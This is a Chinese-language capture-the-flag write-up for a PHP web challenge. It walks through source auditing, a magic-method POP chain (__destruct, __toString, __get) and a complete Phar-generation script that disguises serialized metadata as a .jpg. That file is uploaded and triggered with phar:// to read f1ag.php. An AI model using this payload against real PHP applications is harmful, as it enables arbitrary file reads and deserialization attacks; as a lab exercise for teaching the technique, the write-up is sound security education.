题目入口
打开题目是一个 Bootstrap 导航栏,有三个页面:首页、查看文件、上传文件。页面底部有一个注释 <!--flag is in f1ag.php-->,提示 flag 在 f1ag.php 中。
查看文件的链接是 file.php?file=,参数为空,猜测存在文件包含漏洞。
源码审计
先尝试直接读 file.php 的源码,在 ?file=file.php 中看到它引入了 function.php 和 class.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
|
核心逻辑:通过 Show 对象的 _show() 方法来展示文件。继续读 class.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
|
再看看 function.php 中的上传逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); }
function upload_file_check() { $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(in_array($extension,$allowed_types)) { return true; } }
|
代码分析
_show() 方法的过滤:正则 /http|https|file:|gopher|dict|\.\.|f1ag/i 阻止了直接读取 f1ag.php,常规的 php://filter 伪协议也会因为 file_exists() 检查失败而无法使用。
__construct 中的注释://$this->source = phar://phar.jpg,强烈暗示了 Phar 协议的方向。
Test 类中的 file_get():直接调用 file_get_contents() 读取任意文件并用 base64_encode() 返回,没有任何过滤,是整个攻击链的终点。
上传限制:只检查后缀名,不检查文件内容,可以上传任意内容的 .jpg / .gif / .png 文件。这正好可以上传 Phar 文件。
文件名规律:md5(原始文件名 . 客户端IP) . ".jpg",可预测。
POP 链分析
从终点往起点倒推:
| 步骤 |
方法 |
触发条件 |
作用 |
| 终点 |
Test::file_get() |
__get() 调用 |
读取任意文件,base64 返回 |
| 4 |
Test::__get('source') |
访问不存在的 source 属性 |
调用 get('source'),$params['source'] 设为目标文件 |
| 3 |
Show::__toString() |
对象被当作字符串 |
$this->str['str']->source 触发 Test 的 __get |
| 2 |
C1e4r::__destruct() |
对象销毁 |
echo $this->test 触发 Show 的 __toString |
| 起点 |
Phar 反序列化 |
phar:// 协议解析 |
触发 __destruct 启动整条链 |
完整调用链:
1 2 3 4 5 6 7 8
| phar://upload/xxx.jpg → 反序列化 C1e4r 对象 → 销毁时调用 C1e4r::__destruct() → echo Show 对象 触发 Show::__toString() → $this->str['str']->source 触发 Test::__get('source') → Test::get('source') 调用 file_get('/var/www/html/f1ag.php') → base64_encode(file_get_contents('f1ag.php')) → 输出 base64 编码的源码
|
构造 Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class C1e4r { public $test; public $str; }
class Show { public $source; public $str; }
class Test { public $file; public $params; }
$test = new Test(); $test->params = array('source' => '/var/www/html/f1ag.php');
$show = new Show(); $show->str = array('str' => $test);
$c1e4r = new C1e4r(); $c1e4r->str = $show;
@unlink("payload.phar"); @unlink("payload.jpg"); $phar = new Phar("payload.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($c1e4r); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
rename("payload.phar", "payload.jpg");
|
运行前需要关闭 phar.readonly:
1
| php -d phar.readonly=0 gen_phar.php
|
利用过程
上传 payload.jpg(后缀 .jpg 通过扩展名检查),上传后文件路径为 upload/md5(payload.jpg + IP).jpg
通过 file.php?file=phar://upload/<hash>.jpg 触发 Phar 反序列化
POP 链自动执行,页面返回 f1ag.php 的 base64 编码内容
解码得到 flag:
1
| PD9waHAgDQoJLy8kYSA9ICdmbGFnezcyODkzNmNiLWUxMTUtNDIyOS1iOTliLTE3ODFjNzc2NDdiMn0nOw0KID8+DQoNCg==
|
解码后:
总结
这道题考察的知识点:
- PHP 文件包含漏洞与常见过滤的绕过
- Phar 反序列化的原理与利用条件(
phar:// 协议 + file_exists 等文件操作函数触发)
1 2 3 4 5 6 7 8 9 10 11
| 以下文件传入phar:
文件存在性检查 file_exists(), is_file(), is_dir(), stat() 文件内容读取 file_get_contents(), fopen(), readfile() 文件信息获取 filesize(), filectime(), filemtime() 目录操作 fileatime(), scandir(), opendir() 其他文件操作 unlink(), copy()
|
- POP 链的构造思想——从危险函数(
file_get_contents)倒推,利用各种魔术方法(__destruct → __toString → __get)串联调用链
- 上传功能的扩展名绕过(黑名单不严 + 内容不检查)
Phar 反序列化的关键在于:只要有一个能操作文件的函数(file_exists、file_get_contents、include 等)的参数可控,且 Phar 文件能被上传到服务器,就能触发反序列化漏洞。